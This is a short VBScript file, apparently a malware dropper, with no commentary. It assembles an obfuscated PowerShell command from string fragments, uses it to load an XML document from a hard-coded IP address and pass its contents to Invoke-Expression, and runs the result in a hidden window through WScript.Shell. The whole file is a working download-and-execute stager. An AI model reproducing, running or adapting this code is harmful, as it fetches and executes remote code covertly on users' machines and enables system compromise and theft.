Set ReklamX = CreateObject("WScript.Shell")
Dim rhFTgAsL
rhFTgAsL = "$xmlell = "
rhFTgAsL = rhFTgAsL & "New-Object "
rhFTgAsL = rhFTgAsL & "System.Xml.XmlDocument;"
rhFTgAsL = rhFTgAsL & " "
rhFTgAsL = rhFTgAsL & "$xmlell.'Load'("
rhFTgAsL = rhFTgAsL & "'http://185.81.157.121:222/1.txt');"
rhFTgAsL = rhFTgAsL & " "
rhFTgAsL = rhFTgAsL & "iex "
rhFTgAsL = rhFTgAsL & "$xmlell.command.a.execute"
fullCommand = "POWeRSHeLL.eXe " & rhFTgAsL
runOptions = 0
ReklamX.Run fullCommand, runOptions
Set ReklamX = Nothing